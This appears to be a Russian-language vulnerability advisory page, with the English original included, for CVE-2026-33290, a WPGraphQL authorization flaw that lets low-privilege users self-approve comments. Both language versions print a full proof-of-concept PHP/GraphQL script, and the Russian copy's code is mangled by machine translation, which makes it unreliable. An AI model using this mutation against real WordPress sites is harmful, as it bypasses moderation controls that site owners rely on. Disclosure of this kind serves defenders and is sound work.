CVE-2026-33290

MEDIUM CVSS 3.1: 4,3
Обновлено 24 марта 2026
WordPress
Параметр Значение
CVSS 4,3 (MEDIUM)
Тип уязвимости CWE-862 (Отсутствие авторизации)
Поставщик WordPress
Публичный эксплойт Нет

WPGraphQL предоставляет API GraphQL для сайтов WordPress. До версии 2.10.0 недостаток авторизации в updateComment позволял аутентифицированному пользователю с низким уровнем привилегий (включая настраиваемую роль с нулевыми возможностями) изменять статус модерации своего собственного комментария (например, на APPROVE) без возможности модератора_комментариев. Это может обойти рабочие процессы модерации и позволить ненадежным пользователям самостоятельно одобрять контент.

Версия 2.10.0 содержит патч. ### Подробности В WPGraphQL 2.9.1 (протестировано) авторизация для updateComment осуществляется на основе владельца, а не на основе поля: - плагины/wp-graphql/src/Mutation/CommentUpdate.php:92 разрешают модераторам. - плагины/wp-graphql/src/Mutation/CommentUpdate.php:99:99 также позволяют владельцу комментария, даже если у него нет возможности модерации. — плагины/wp-graphql/src/Data/CommentMutation.php:94:94 сопоставляют статус ввода GraphQL непосредственно с WordPress comment_approved. - плагины/wp-graphql/src/Mutation/CommentUpdate.php:120:120 сохраняют это значение через wp_update_comment. - плагины/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 отображают состояния модерации (APPROVE, HOLD, SPAM, TRASH). Это означает, что владелец, не являющийся модератором, может отправлять статус во время обновления и перехода в состояние модерации. ### PoC Протестировано в локальном wp-env (Docker) с WPGraphQL 2.9.1. 1. Стартовая среда: установка npm npm запустить запуск wp-env 2.

Запустите этот PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","Без прописных",[]); $user_id = username_exists("poc_nocaps"); если ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps", "Passw0rd!", "poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "Сообщение PoC", "post_status" => "опубликовать", "post_type" => "сообщение", "comment_status" => "открыто", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "ожидающий комментарий", "user_id" => $user_id, "автор_комментария" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = графql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ комментарий об успехе {databaseId status } } }", "переменные" => [ "id" => (строка)$comment_id ], ]); эхо wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? ноль, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? ноль, "comment_id" => $comment_id ]); ' ``` 3. Наблюдайте за результатом: - role_caps пусто (или нет умеренных_комментариев) - мутация возвращает статус: APPROVE - Значение БД становится comment_approved = 1 ### Влияние Это проблема обхода авторизации/нарушения контроля доступа при смене состояний модерации комментариев. Это затрагивает любое развертывание с использованием мутаций комментариев WPGraphQL, при которых пользователи с низким уровнем привилегий могут оставлять комментарии.

Политику модерации можно обойти, если контент одобряется самостоятельно.

Показать оригинальное описание (EN)

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch. ### Details In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH). This means a non-moderator owner can submit status during update and transition moderation state. ### PoC Tested in local wp-env (Docker) with WPGraphQL 2.9.1. 1. Start environment: npm install npm run wp-env start 2. Run this PoC: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Observe result: - role_caps is empty (or no moderate_comments) - mutation returns status: APPROVE - DB value becomes comment_approved = 1 ### Impact This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.

Характеристики атаки

Способ атаки
По сети
Атака возможна удалённо
Сложность
Низкая
Легко эксплуатировать
Нужны права
Низкие
Нужны базовые права
Участие пользователя
Не требуется
Не нужно действие пользователя

Последствия

Конфиденциальность
Нет
Нет утечки данных
Целостность
Низкое
Частичная модификация данных
Доступность
Нет
Нет нарушения работы

Строка CVSS v3.1